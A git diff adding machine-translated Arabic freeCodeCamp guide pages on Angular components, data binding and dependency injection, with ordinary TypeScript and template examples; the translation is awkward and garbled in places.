+  <button (click)="deletePost(i)">DELETE</button> 
+  <h6>{{ post.title }}</h6> 
+  <p>{{ post.body }}</p> 
+  <hr/> 
+ </div> 
+ </ul> 
+` 
+
+لاحظ الطرق التي يتفاعل بها المكون مع بياناته. `../../data/posts.data` أولاً من `../../data/posts.data` قبل أن يبدأ بإعادة توجيهه إلى قالب العرض.
+
+تظهر البيانات في جميع أنحاء القالب. داخل الأقواس المزدوجة المتعرجة ، يتم تعيين قيمة المتغير من فئة المكون إلى الأقواس. الحلقات `*ngFor` عبر صفيف فئة `allPosts` . بالضغط على زر يزيل عنصر معين من `allPosts` التي كتبها مؤشره. يمكنك حتى تغيير `username` الأعلى عن طريق الكتابة في مربع الإدخال.
+
+تعمل التفاعلات السابقة على تبديل بيانات فئة المكون التي بدورها تعمل على تحديث HTML الخاص بقالب المكون. توفر المكونات المنطق الأساسي الذي يسهل تدفق البيانات. يجعل القالب HTML تلك البيانات قابلة للقراءة للمستخدم.
+
+#### قالب مكون
+
+قدم نموذج HTML الخاص بموديل المثال السابق بناء جملة مثيرًا للاهتمام. بناء الجملة لم يكن HTML الفعلي. كان قالب HTML في Angular. غالبا ما يشير البعض إلى أنه يحتوي على HTML _Plus_ لا يمكن التعرف عليه إلا من خلال مترجم Angular. يدعم المحول البرمجي بناء جملة يؤدي إلى المعالجة الديناميكية لـ HTML. غالبًا ما تشير هذه المقالة إلى "نموذج HTML" أو "قالب".
+
+يسمح بناء الجملة للمكونات بحقن البيانات مباشرة في القالب HTML. الحقن هو ديناميكي. بمعنى ، يمكن للبيانات التكرار وعرض نفسها على هيئة HTML دون الحاجة إلى مساعدة خارجية. يقوم المترجم الزاوي بتجميعه في HTML الحقيقي في الوقت الذي يصل فيه إلى متصفح الويب.
+
+لمعرفة المزيد حول بعض الطرق التي تربط بها البيانات بالقالب ، اقرأ عن [ربط البيانات في Angular](https://guide.freecodecamp.org/angular/data-binding) . حدثت أمثلة قليلة لربط البيانات في المثال السابق ( `{{ ... }}` ). بالنسبة لهذه المقالة ، يكفي التعرف على حدوث تفاعلات البيانات بين فئة المكون والقالب الخاص بها.
+
+#### الاستعلام عن القالب
+
+بيانات إدارة حالة القالب يعمل بشكل صحيح بشكل جيد. ومع ذلك ، لا تفي البيانات الصرفة دائمًا بالتصميم المقصود للتطبيق. قد يكون التفاعل بشكل مباشر أكثر مع نموذج كائن المستند (DOM) مطلوبًا.
+
+للقيام بذلك ، يجب أن يكون المكون إشارة إلى عناصر القالب. عندما تتغير البيانات ، يمكن للمكون التعامل مع DOM بشكل صريح. هذا هو نهج أكثر إعلانية.
+
+يمكن للمكونات الاستيلاء على المراجع باستخدام واجهة برمجة تطبيق DOM لمتصفح الويب (API). فكرة سيئة رغم ذلك. يفضل الزاوي التوافق عبر النظام الأساسي. لكي يعمل أحد المكونات خارج مستعرض الويب ، يجب عليه استخدام واجهة برمجة تطبيقات Angular بدلاً من DOM.
+
+يمكن للمكونات الاستعلام عن القوالب باستخدام `@ViewChild` و `ContentChild` . إنهم يمسكون بالإشارات إلى عناصر القالب نيابة عن فئة المكون.
+
+ ``import { Component, ViewChild, ContentChild, ElementRef, Renderer2, AfterContentChecked, AfterViewChecked } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-child', 
+  template: ` 
+  <button (click)="toggleEnlarge()">Toggle Enlarge</button> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class ChildComponent implements AfterContentChecked { 
+  @ContentChild("pReference", { read: ElementRef }) pElement: ElementRef; 
+  textEnlarge: boolean = false; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  toggleEnlarge() { 
+    this.textEnlarge = !this.textEnlarge; 
+  } 
+ 
+  ngAfterContentChecked() { 
+    if (this.textEnlarge) 
+      this.renderer.setStyle(this.pElement.nativeElement, 'font-size', '25px'); 
+      else 
+      this.renderer.setStyle(this.pElement.nativeElement, 'font-size', 'initial'); 
+    } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-parent', 
+  template: ` 
+  <button (click)="toggleHighlight()">Toggle Highlight</button> 
+  <h1 #hOneRefereance>View Child</h1> 
+  <app-child> 
+    <p #pReference>Content Child</p> 
+  </app-child> 
+  ` 
+ }) 
+ export class ParentComponent implements AfterViewChecked { 
+  @ViewChild("hOneRefereance", { read: ElementRef }) hOneElement: ElementRef; 
+  textHighlight: boolean = false; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  toggleHighlight() { 
+    this.textHighlight = !this.textHighlight; 
+  } 
+ 
+  ngAfterViewChecked() { 
+    if (this.textHighlight) 
+      this.renderer.setStyle(this.hOneElement.nativeElement, 'background-color', 'yellow'); 
+    else 
+      this.renderer.setStyle(this.hOneElement.nativeElement, 'background-color', 'initial'); 
+  } 
+ } 
+`` 
+
+يحتوي المثال أعلاه على زرين يقومان بتبديل نمط معين لكل عنصر. يؤدي النقر فوق الأزرار إلى تبديل قيم true / false الفريدة لكل مكون. يحدد هؤلاء booleans ما إذا كانت الأنماط المخصصة تنطبق. بدلاً من هذه القيم تتسبب في تغييرات بشكل حتمى ، يغير خطاطيف دورة الحياة ( `ngAfterViewChecked` و `ngAfterContentChecked` ) بشكل `ngAfterContentChecked` DOM.
+
+النهج التصريحي يغير بوضوح النمط من خلال مرجع العنصر. في البرمجة الحتمية ، تكون التغييرات التي تطرأ على البيانات المستندة إلى DOM ضمنية. تحقق من هذه المقالة على [برمجة التعميمية والتوضيحية](https://codeburst.io/declarative-vs-imperative-programming-a8a7c93d9ad2) لمعرفة المزيد.
+
+الشيء الرئيسي الذي يجب ملاحظته هو كيف يتم سحب هذه المراجع من القالب. في المثال ، يوجد قسمان من القالب المستعلم `@ViewChild` باستخدام اثنين من decorators: `@ViewChild` و `@ContentChild` .
+
+فهي تختلف في المكان الذي تبحث فيه عن مرجع عنصر ما إذا كان في محتوى DOM أو عرض DOM. توجد هذه DOMs اثنين في قالب ParentComponent. التفريق بينهما مهم لأنه ينتهي من العرض في أوقات منفصلة.
+
+هذا هو السبب في `@ViewChild` و `@ContentChild` كلا موجودة. وهي تعمل مع خطاطيف دورة حياة المرافق الخاصة بها `ngAfterViewChecked` و `ngAfterContentChecked` . هذه hooks دورة حياة انتظار الاستعلامات الخاصة بهم لحل قبل تنفيذ.
+
+بمجرد حل `@ViewChild` و `@ContentChild` توفير مراجع إلى عنصرين. كلاهما موجودان في أجزاء منفصلة من DOM. لا تزال البيانات المنطقية تحدد النتيجة. كيف تترجم النتيجة إلى DOM هو الفرق الرئيسي من قبل. تحديث DOM من خلال التلاعب المباشر في `Renderer2` منه.
+
+#### إسقاط المحتوى
+
+يوجد محتوى DOM في عنصر intHTML داخلي لـ ChildComponent `<app-child></app-child>` . يتم وضع كل شيء داخل قالب ParentComponent. يقوم البرنامج الداخلي لـ HTML الخاص _بمشروعات_ `app-child` على نموذج ChildComponent من خلال `<ng-content></ng-content>` .
+
+هذا مثال على عرض المحتوى. عرض المحتوى من `one` مكون إلى آخر باستخدام HTML داخلي من `another` "علامات الصورة في `one` " قالب الصورة بحيث `another` عنصر يمكن سحب تلك HTML داخلي في القالب الخاص عبر `<ng-content></ng-content>` . _شكرا على قراءة هذه الجملة._
+
+ولهذا السبب تشير ChildComponent إلى عنصر `<p></p>` باستخدام `@ContentChild` . المحتوى المحتوي داخل `<app-child></app-child>` في نموذج ParentComponent يشكل محتوى DOM. تشير ChildComponent العنصر مع استعلام `@ContentChild` .
+
+يتكون DOM عرض ParentComponent من كل شيء يمكن الوصول إليها من داخل عرض المكون. لا يتضمن هذا بالضرورة القالب بأكمله وفقًا لـ innerHTML لـ `<app-child></app-child>` . مرة أخرى ، يتم الاستعلام عن هذا الجزء من DOM من ChildComponent باستخدام `@ContentChild` . يتم الاستعلام عن أي شيء آخر باستخدام `@ViewChild` من فئة `@ViewChild` .
+
+هذه طريقة رائعة للمكونات لتبادل المحتوى والاستعلام عن محتواه بغض النظر عن نوع DOM الخاص به. يمكن للمكونات التواصل مع نفسه والآخرين باستخدام ربط البيانات أيضًا. قراءة المزيد حول هذا الموضوع من [هذه المقالة](https://guide.freecodecamp.org/angular/data-binding) .
+
+#### أنماط المكونات
+
+تعتبر الأنماط ضرورية لقابلية المكون والتفاعلية. يقوم كل مكون بتغليف تبعيات ورقة الأنماط الخاصة به. بهذه الطريقة ، لا تنطبق إلا على HTML لنموذج المكون. تقنية خاصة قدمها ظل HTML DOM يجعل هذا ممكن.
+
+قد يوجد فرع DOM ظل على أي عنصر. لا يمكن رؤية هذا الجزء من DOM من شفرة مصدر HTML. تعمل عناصر HTML القياسية على تحسين واجهة DOM لتقديم مظاهر علاماتها التجارية. يجب أن يربط فرع دوم الظل بمكوّن مرئي بحيث يمكنه تصميمه وتخصيصه.
+
+الجانب الفريد حول فرع DOM الظل هو تغليفه. كل شيء يستخدم لتصميم عنصر الجذر الخاص بفرع DOM الظل هو خاص به. لا يمكن لأي عنصر آخر الوصول إليه.
+
+يحتضن الزاوي هذا الشكل من التغليف مع المكونات. يتم تغليف ورقة الأنماط ونموذج المكون معًا. لا مكونات أخرى لديها حق الوصول إليها. لا يمكن أن تحدث الصدوع ورقة النمط.
+
+لا يستخدم Angular الظل DOM بشكل افتراضي. ويستخدم نظام مضاهاة يحاكي سلوك دوم الظل. يعد هذا مقياسًا مؤقتًا لأن بعض متصفحات الويب لا تدعم بعد واجهة برمجة تطبيقات DOM.
+
+تحتوي بيانات `@Component` على مجال `encapsulation` . يتيح هذا للمطورين تبديل in-between DOM shaulated مضاهيًا ، Real DOM ظل ، أو لا. فيما يلي الخيارات حسب ترتيبها الخاص:
+
+*   `ViewEncapsulation.Emulated` - `ViewEncapsulation.Emulated` shadow DOM (افتراضي)
+    
+*   `ViewEncapsulation.Native` - ظل حقيقي DOM (الآن `ViewEncapsulation.Native` منذ Angular 6.0.8)
+    
+*   `ViewEncapsulation.None` - لا
+    
+
+`ViewEncapsulation.None` تعني أن أوراق أنماط المكون ترتفع إلى النطاق العالمي. لا ينبغي أن يؤخذ في الاعتبار النظر في مكونات وحدة خاصة بهم (تغليف). الزاوي لا يزال يوفر بمثابة فتحة الهروب في الحالات القصوى.
+
+#### استنتاج
+
+مكونات بناء التطبيقات. هم خاصا scoped وموحدة بشكل منفصل عن بعضها البعض ما لم يتم تكوينها بخلاف ذلك. تميل التطبيقات إلى البدء من وحدة الجذر. في الماضي ، تشكل المكونات شجرة ممددة تحدد بقية التطبيق.
+
+تغطي المكونات وحدة معينة من واجهة التطبيق. ويشمل ذلك أساليبها ومنطقها وتخطيطها. الخطط الأخرى مثل الأنابيب والخدمات والتوجيهات ترى الاستخدام المتكرر في كود المكون. يمكنك معرفة المزيد حول هذه التفاعلات في بعض مقالات الدليل الزاوي الأخرى.
+
+لا ننسى أن المكونات يجب [التمهيد](https://angular.io/guide/bootstrapping) . يمكن أن يحدث هذا في وحدة الجذر أو البيانات الوصفية للمكون. هذا هو الزاوي بحيث يتعرف على المكون أينما يظهر في التطبيق.
+
+يمكنك دائمًا معرفة المزيد من خلال استكشاف الروابط الموجودة أدناه. ويحمل العنصر أكثر بكثير مما يمكن أن تنقله هذه المقالة.
+
+## مصادر
+
+*   [فريق الزاوي. "المستندات الزاويّة". _جوجل_ . تم الوصول إليه في 3 يونيو 2018](https://angular.io/guide)
+*   [مجتمع موزيلا MDN. "استخدام Shadow DOM". _موزيلا_ ، تم تحديثه في 30 مايو 2018. تم الوصول إليه في 3 يونيو 2018](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)
+*   [موندي ، إيان. "التعبير مقابل البرمجة الضرورية". _codeburst.io_ ، 20 فبراير 2017. تم الوصول إليها في 3 يونيو 2018](https://codeburst.io/declarative-vs-imperative-programming-a8a7c93d9ad2)
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/guide)
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+*   [مقدمة إلى المكونات](https://angular.io/guide/architecture-components)
+*   [مكونات في العمق](https://angular.io/guide/displaying-data)
+*   [الظل DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/data-binding/index.md b/client/src/guide/arabic/angular/data-binding/index.md
new file mode 100644
index 0000000000..ef9646305c
--- /dev/null
+++ b/client/src/guide/arabic/angular/data-binding/index.md
@@ -0,0 +1,188 @@
+---
+title: Data Binding
+localeTitle: ربط البيانات
+---
+# ربط البيانات
+
+#### التحفيز
+
+غالبًا ما تحدد البيانات مظهر التطبيق. يتضمن تفسير تلك البيانات في واجهة المستخدم منطق منطقي ( `.component.html` ) وعرض قالب ( `.component.ts` ). الزاوي يربطهم من خلال ربط البيانات. فكر في ربط البيانات كأداة لتفاعل المكون.
+
+#### المكون والقالب
+
+يخزن العنصر معظم منطقه وبياناته داخل صفه المزين بـ `@Component` . يعرّف هذا الديكور الفئة كمكون مع قالب HTML. يمثل قالب المكون الفئة داخل التطبيق. يجب أن يكون التركيز هنا بين فئة المكون ونموذج HTML.
+
+هذا هو المكان الذي يحدث ربط البيانات. الحصول على خصائص العنصر والأحداث القيم المعينة. هذه القيم ، التي تم تعريفها بواسطة فئة المكون ، تخدم أيًا من الدورين. واحد هو لإنتاج البيانات التي يتلقاها القالب. يعالج الآخر الأحداث المنبعثة من عنصر القالب.
+
+![مثال الكود](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image4.png)
+
+حاول استخدام هذه الصورة كنموذج ذهني للقسم التالي.
+
+#### اتجاهات ملزمة
+
+هناك طريقتان للربط بين البيانات: أحادي الاتجاه وثنائي الاتجاه. يستخدم الزاوي تقنياً تدفق البيانات أحادي الاتجاه فقط. تدفق ثنائي الاتجاه هو في نهاية المطاف أحادي الاتجاه. يحدث ذلك في تطبيقين لتدفق أحادي الاتجاه ، مرة واحدة لكل اتجاه. المزيد عن ذلك لاحقا.
+
+يحدد التدفق الأحادي الاتجاه التفاعل أحادي الاتجاه. إما أن يرسل المكون البيانات إلى القالب أو يرسل القالب حدثًا إلى منطق المكون. لا يتم تغيير بيانات التغييرات داخل نطاق القالب لفئة المكون. إنبعاث الحدث عبارة عن معاملة أحادية الاتجاه تبدأ من عناصر القالب.
+
+ثنائي الاتجاه يشكل كلا الاتجاهين. وهذا يعني أن التغييرات في البيانات في منطق الصف أو HTML النموذج تستمر عبر بعضها البعض. نطاق التغييرات هو عرض المكون. يتكون العرض من فئة المكون والقالب معًا.
+
+#### خصائص العنصر
+
+للتعرف على خصائص العناصر المرتبطة بالبيانات ، يستخدم Angular بنية قوس خاصة.
+
+ `// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ 
+ export class MyComponent { 
+  value:type = /* some value of type */; 
+ } 
+` 
+
+ `
+<!-- my.component.html --> 
+ <any-element [property]=“value”>innerHTML</any-element> 
+` 
+
+تحمل معي على هذا.
+
+`[property]` يعكس الخاصية في عقدة كائن عنصر كائن المجال (DOM). لا تخلط بين خصائص الكائن وسمات عنصر DOM. غالبًا ما تتشارك الخصائص والخصائص في الاسم نفسه وتفعل الشيء نفسه. هناك تمييز واحد واضح ومع ذلك.
+
+تذكر أن `attr` (السمات) هي خاصية واحدة لعنصر DOM الأساسي. يتم الإعلان عنها عند إنشاء DOM مع قيم السمات التي تطابق تعريف العنصر. يحافظ على نفس القيمة بعد ذلك. تحتوي كل خصائص على حقل قيمة المفتاح الخاص بها في عقدة كائن DOM. هذه الخصائص هي post-instantiation mutable.
+
+معرفة الفرق بين الصفات والخصائص. سيؤدي ذلك إلى فهم أفضل لكيفية ربط البيانات الزاوي بالخواص (ربط الملكية). بصعوبة لن تربط البيانات إلى سمات العنصر أبدًا. الاستثناءات لهذا نادرة جدا. مرة واحدة في المرة الأخيرة: تربط البيانات الزاوي البيانات إلى الخصائص ، وليس السمات!
+
+بالإشارة إلى المثال ، فإن `[ … ]` في تخصيص خاصية العنصر لها معنى خاص. تظهر الأقواس أن `property` ملزمة بـ `“value”` على يمين المهمة.
+
+`value` أيضا لها معنى خاص في سياق الأقواس. `value` بحد ذاتها هي سلسلة حرفية. يقرأه الزاوي ويتطابق مع قيمته ضد أعضاء فئة المكون. سيحل الزاوي محل قيمة سمة العضو المطابقة. يشير هذا بالطبع إلى نفس فئة المكون التي تستضيف نموذج HTML.
+
+اكتمال تدفق أحادي الاتجاه من البيانات من المكون إلى القالب. يقدم العضو المطابق للتنازل الصحيح عن الخاصية المحتواة بين الأقواس `value` . لاحظ أن التغييرات على قيمة العضو في فئة المكون تتجه إلى القالب. هذا هو الكشف عن تغيير Angular في العمل. لا تؤثر التغييرات في نطاق القالب على عضو فئة المكون.
+
+مفتاح السحب: يوفر عنصر المكون البيانات أثناء عرض القالب لها.
+
+أخفقت في ذكر أن قيم البيانات يمكن أن تظهر أيضًا في `innerHTML` داخل المكون. يقوم هذا المثال الأخير بتطبيق أقواس مزدوجة مجعفة. يتعرف Angular على هذه الأقواس ويؤدي إلى `innerHTML` بيانات فئة المكون المطابقة إلى `innerHTML` الداخلي لل `div` .
+
+ `
+<div>The value of the component class member 'value' is {{value}}.</div> 
+` 
+
+#### التعامل مع الحدث
+
+إذا كان المكون يوفر بيانات ، فإن القالب يوفر الأحداث.
+
+ `// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ 
+ export class MyComponent { 
+  handler(event):void { 
+      // function does stuff 
+  } 
+ } 
+` 
+
+ `
+// my.component.html 
+ <any-element (event)=“handler($event)”>innerHTML</any-element> 
+` 
+
+هذا يعمل بالمثل لربط الملكية.
+
+يتعلق `(event)` بأي نوع حدث صالح. على سبيل المثال ، أحد أنواع الأحداث الأكثر شيوعًا هو `click` . تنبعث عند _النقر فوق_ الماوس. بغض النظر عن النوع ، يرتبط `event` بـ `“handler”` في المثال. عادة ما تكون معالجات الأحداث عادةً من وظائف العضو لفئة المكون.
+
+تكون `( … )` خاصة بالزاوية. تشير الأقواس إلى Angular أن الحدث محصور بالواجب الصحيح `handler` . الحدث نفسه ينشأ من عنصر المضيف.
+
+عندما ينبعث الحدث ، فإنه يمرر كائن الحدث في شكل `$event` . يعيّن `handler` إلى دالة `handler` مسماة بشكل مماثل للفئة المكون. اكتمل تبادل أحادي الاتجاه من العنصر المرتبط بالحدث إلى فئة المكون.
+
+إن الأحداث التي تنبعث منها من المعالج ، رغم أنها ممكنة ، لا تؤثر على عنصر القالب. الربط هو أحادي الاتجاه بعد كل شيء.
+
+#### ثنائي الاتجاه ملزم
+
+تقدم نماذج المدخلات مثالاً عظيماً على أهمية ربط ثنائي الاتجاه. روابط البيانات ثنائية الاتجاه أكثر تكلفة من ربط الحدث أو الخاصية.
+
+يحتوي ربط البيانات ثنائي الاتجاه على الوحدة الخاصة به. قبل إلقاء نظرة على ذلك ، والنظر في المثال التالي.
+
+ `// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ export class MyComponent { 
+  inputValue:string = ""; 
+ 
+  handler(event) { 
+      this.inputValue = event.target.value; 
+  } 
+ } 
+` 
+
+ `
+<!-- my.component.html --> 
+ <input (input)=“handler($event)” [value]=“inputValue”> 
+` 
+
+حان الوقت لكسر هذا.
+
+هذا المثال يجمع بين الاثنين السابقين. وهذا يفسر سبب كونها أكثر تكلفة. بعد المنطق ، افترض أن المستخدم يكتب شيئًا في عنصر الإدخال. يرسل العنصر حدث `input` إلى `handler` فئة مكون القالب. يعين المعالج عضو الفئة `inputValue` إلى قيمة الحدث الذي تم `inputValue` . هذا يختم التعامل مع الحدث / ملزمة.
+
+الآن على الممتلكات ملزمة. تم تعيين `inputValue` لقيمة جديدة. نظرًا لأن `inputValue` يرتبط `value` عنصر الإدخال ، يتغير تغييره في البيانات إلى `value` خاصية عنصر الإدخال. تتطابق `value` عنصر الإدخال مع `inputValue` . هذا يخلص ملزمة الملكية.
+
+هناك لديك ذلك. يحدث ربط البيانات ثنائي الاتجاه مع تطبيق كل من تطبيق الربط أحادي الاتجاه على التوالي. بناء الجملة هو فوضوي بعض الشيء على الرغم من.
+
+الحمد لله ، يوفر Angular `NgModel` لتبسيط بناء الجملة. المثال التالي مرادف لما سبق.
+
+ `// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ 
+ export class MyComponent { 
+  inputValue:string = ""; 
+ } 
+` 
+
+ `
+<!-- my.component.html --> 
+ <input [(ngModel)]=“inputValue”> 
+` 
+
+`ngModel` هو راحة لطيفة. يجب عليك استيراد FormsModule في جذر التطبيق الخاص بك قبل استخدامه. مع هذا التربيع ، يصبح ربط البيانات ثنائي الاتجاه أسهل للعمل معه.
+
+لتعزيز كل ما تعلمته ، تحقق من هذه الصورة من [الوثائق](https://angular.io/guide/architecture-components#data-binding) الرسمية [Angular 1](https://angular.io/guide/architecture-components#data-binding) .
+
+![مخطط تدفق البيانات](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image2.png)
+
+يمكنك تلخيص كل شيء بصريًا حتى هذه المرحلة بهذه الصورة. تحتوي وثائق Angular على الكثير من الصور الأخرى التي تستحق المشاهدة. هذا يكفي يكفي في ضوء نطاق هذه المادة.
+
+#### مكون إلى مكون
+
+لربط البيانات والأحداث عبر مكونات مختلفة ، يجب عليك استخدام مزخرفينInput وOutput. تكون المكونات الزاويّة في نطاق خاص. لا يمكن الوصول إلى أي عضو من أعضاء المكون من أي مكان خارج عرضه الأصلي.
+
+ويشير decoratorInput إلى أن قيمة العضو يتم الحصول عليها من الوظيفة الرئيسية. هذا يتطلب التصور لفهم أفضل.
+
+![مثال الكود](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image3_.png)
+
+لاحظ مرور عضو `value` الوالد إلى عضو `property` الطفل. هذا لن يكون ممكنا إذا كان `property` ليس لديه ديكورInput. المترجم الزاوي يعتمد عليه.
+
+يوضح مثال آخر لـOutput كيف ينتقل الحدث من الطفل إلى الوالد. ضع في اعتبارك أنOutput تقريبًا يتعلق دائمًا بربط الأحداث المخصص.
+
+![مثال الكود](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image1.png)
+
+تأكد من استيراد `EventEmitter` و `@Input` و `@Output` من `@angular/common` إذا كنت تنوي تكرار أي من هذه الأمثلة.
+
+#### استنتاج
+
+هذا مكان جيد للتوقف. ربط البيانات يمتد مجموعة واسعة من حالات الاستخدام. هذا الموضوع يستحق استكشافًا إضافيًا على [موقع Angular](https://angular.io) . هذه ليست الطرق الوحيدة التي يمكنك التعامل مع البيانات في Angular. انظر الروابط تحت الموارد لمزيد من المعلومات.
+
+### مصادر
+
+1.  [فريق الزاوي. مقدمة إلى المكونات. جوجل. تم الوصول إليها في 26 مايو 2018](https://angular.io/guide/architecture-components#data-binding)
+
+### مصادر
+
+*   [وثائق الزاوي](https://angular.io/docs)
+    
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+    
+*   [المزيد عن المكونات والقوالب في Angular](https://angular.io/guide/displaying-data)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/dependency-injection/index.md b/client/src/guide/arabic/angular/dependency-injection/index.md
new file mode 100644
index 0000000000..6dcbe22812
--- /dev/null
+++ b/client/src/guide/arabic/angular/dependency-injection/index.md
@@ -0,0 +1,275 @@
+---
+title: Dependency Injection
+localeTitle: حقن التبعية
+---
+# حقن التبعية
+
+#### التحفيز
+
+غالباً ما يشار إلى Dependency Injection ببساطة باسم DI. النموذج موجود في جميع أنحاء Angular. إنها تحافظ على الشفرة مرنة وقابلة للاختبار وقابلة للتغيير. يمكن للفصول أن ترث المنطق الخارجي دون معرفة كيفية إنشائه. لا يحتاج أي مستهلك لهذه الفئات أيضًا إلى معرفة أي شيء.
+
+توفر شركة DI الفصول والمستهلكين على حد سواء من الاضطرار إلى معرفة أكثر من اللازم. ومع ذلك ، فإن الشفرة موضوعة كما كانت من قبل بفضل الآليات التي تدعم DI في Angular.
+
+الخدمات هي أحد أهم الداعمين لشركة DI. يعتمدون على النموذج _للحقن_ في مختلف المستهلكين. ويمكن لهؤلاء المستهلكين الاستفادة من هذه الخدمة و / أو تقديمها في مكان آخر.
+
+الخدمة ليست وحدها. التوجيهات والأنابيب والمكونات وما إلى ذلك: كل التخطيطي في استحقاق Angular من DI بطريقة أو بأخرى.
+
+#### عن طريق الحقن
+
+الحاقنات هي هياكل البيانات التي تخزن التعليمات التي توضح بالتفصيل مكان وكيفية تشكيل الخدمات. وهي تعمل كوسيط داخل نظام Angular DI.
+
+تحتوي فئات الوحدة النمطية ، وتوجيه ، والمكونات على بيانات تعريف خاصة بالحقن. نسخة حاقن جديدة ترافق كل واحدة من هذه الفئات. بهذه الطريقة ، تعكس شجرة التطبيق التسلسل الهرمي للحاقن.
+
+`providers: []` تقبل `providers: []` البيانات الوصفية الخدمات التي تسجل بعد ذلك مع حاقن الفصول. يضيف حقل المزود هذا التعليمات اللازمة لحاقن للعمل. تقوم فئة (بافتراض أن لها تبعيات) بإنشاء خدمة من خلال أخذ فئتها كنوع بيانات لها. يقوم الحاقن بمحاذاة هذا النوع (أ) بإنشاء مثيل لتلك الخدمة على الفئة "class".
+
+بطبيعة الحال ، يمكن للطبقة أن تقوم فقط بتوضيح ما يحتويه الحاقن من تعليمات. إذا لم يكن لدى الحاقن الخاص بالفئة الخدمة المسجلة ، فستستعلم عن الأصل. لذلك ، وهكذا دواليك حتى الوصول إلى حاقن مع الخدمة أو جذر التطبيق.
+
+يمكن للخدمات التسجيل في أي حاقن داخل التطبيق. تذهب الخدمات إلى `providers: []` حقل البيانات الوصفية لوحدات أو توجيهات أو مكونات الفصل الدراسي. يمكن للأطفال "الفئة" إنشاء حاقن مسجل في حجرة الدراسة. حاقنات الطفل التراجع عن طريق الحقن الأم بعد كل شيء.
+
+#### حقن التبعية
+
+إلقاء نظرة على الهياكل العظمية لكل فئة: الخدمة ، الوحدة ، التوجيه ، والمكون.
+
+ `// service 
+ 
+ import { Injectable } from '@angular/core'; 
+ 
+ @Injectable({ 
+  providedIn: /* injector goes here */ 
+ }) 
+ export class TemplateService { 
+  constructor() { } 
+ } 
+` 
+
+ `// module 
+ 
+ import { NgModule } from '@angular/core'; 
+ import { CommonModule } from '@angular/common'; 
+ 
+ @NgModule({ 
+  imports: [ 
+    CommonModule 
+  ], 
+  declarations: [], 
+  providers: [ /* services go here */ ] 
+ }) 
+ export class TemplateModule { } 
+` 
+
+ `// directive 
+ 
+ import { Directive } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appTemplate]', 
+  providers: [ /* services go here */ ] 
+ }) 
+ export class TemplateDirective { 
+  constructor() { } 
+ } 
+` 
+
+ `//component 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-template', 
+  templateUrl: './template.component.html', 
+  styleUrls: ['./template.component.css'], 
+  providers: [ /* services go here */ ] 
+ }) 
+ export class TemplateComponent { 
+  // class logic ... 
+ } 
+` 
+
+يمكن لكل هيكل عظمي تسجيل الخدمات إلى حاقن. في الواقع ، TemplateService _هي_ خدمة. اعتبارًا من Angular 6 ، يمكن الآن للخدمات التسجيل باستخدام الحقن باستخدام البيانات الوصفية `@Injectable` .
+
+##### في أي حال
+
+لاحظ في `providedIn: string` ( `@Injectable` ) `providers: []` ( `@Directive` ، `@Componet` و `@Module` ) بيانات التعريف. يخبرون عن طريق الحقن وكيفية إنشاء خدمة. خلاف ذلك ، لا تعرف عن طريق الحقن كيفية إنشاء.
+
+ماذا لو كانت الخدمة لها تبعيات؟ أين تذهب النتائج؟ يجيب مقدمي هذه الأسئلة بحيث يمكن عن طريق الحقن إنشاء صحيح.
+
+تشكل عن طريق الحقن العمود الفقري لإطار عمل DI. إنها تخزن التعليمات لتحفيز الخدمات حتى لا يضطر المستهلكون إلى ذلك. يتلقون مثيلات الخدمة دون الحاجة إلى معرفة أي شيء عن تبعية المصدر!
+
+وأود أيضا أن نلاحظ أن الخطط الأخرى دون عن طريق الحقن لا يزال من الممكن استخدام حق التبعية. انهم لا يستطيعون تسجيل خدمات إضافية ولكن لا يزال بإمكانهم تحفيز من عن طريق الحقن.
+
+##### الخدمات
+
+تحدد في تعريف `providedIn: string` metadata `@Injectable` أي حاقن للتسجيل مع. باستخدام هذه الطريقة ، واعتمادًا على ما إذا تم استخدام الخدمة ، قد تقوم الخدمة أو لا تسجل مع الحاقن. يدعو الزاوي هذا _تهز الأشجار_ .
+
+بشكل افتراضي ، يتم تعيين القيمة على `'root'` . هذا يترجم إلى حاقن الجذر للتطبيق. بشكل أساسي ، يؤدي تعيين الحقل إلى `'root'` إلى إتاحة الخدمة في أي مكان.
+
+##### ملاحظة سريعة
+
+وكما ذكرنا سابقا ، فإن حاقنات الأطفال تتراجع عن والديهم. هذه الاستراتيجية الاحتياطية تضمن الآباء والأمهات لا تضطر إلى إعادة تسجيل لكل حاقن. الرجوع إلى هذه المقالة على [الخدمات والحاقنات](https://guide.freecodecamp.org/angular/services-and-injectors) لتوضيح هذا المفهوم.
+
+الخدمات المسجلة هي _مفردة_ . بمعنى ، توجد تعليمات إنشاء الخدمة على حاقن واحد فقط. هذا يفترض أنه لم يتم تسجيله صراحة في مكان آخر.
+
+##### الوحدة ، التوجيه ، والمكون
+
+الوحدات والمكونات لها مثيل حاقن خاص بها. هذا واضح نظرا `providers: []` حقل البيانات الشرحية. يأخذ هذا المجال مجموعة من الخدمات ويسجلها بحاقن الوحدة النمطية أو فئة المكون. يحدث هذا النهج في `@NgModule` ، `@Directive` ، أو `@Component` الديكور.
+
+هذه الاستراتيجية يغفل _شجرة_ ، أو إزالة اختياري للخدمات غير المستخدمة من عن طريق الحقن. خدمة الحالات الحية على عن طريق الحقن لحياة الوحدة النمطية أو المكون.
+
+#### تأشير المراجع
+
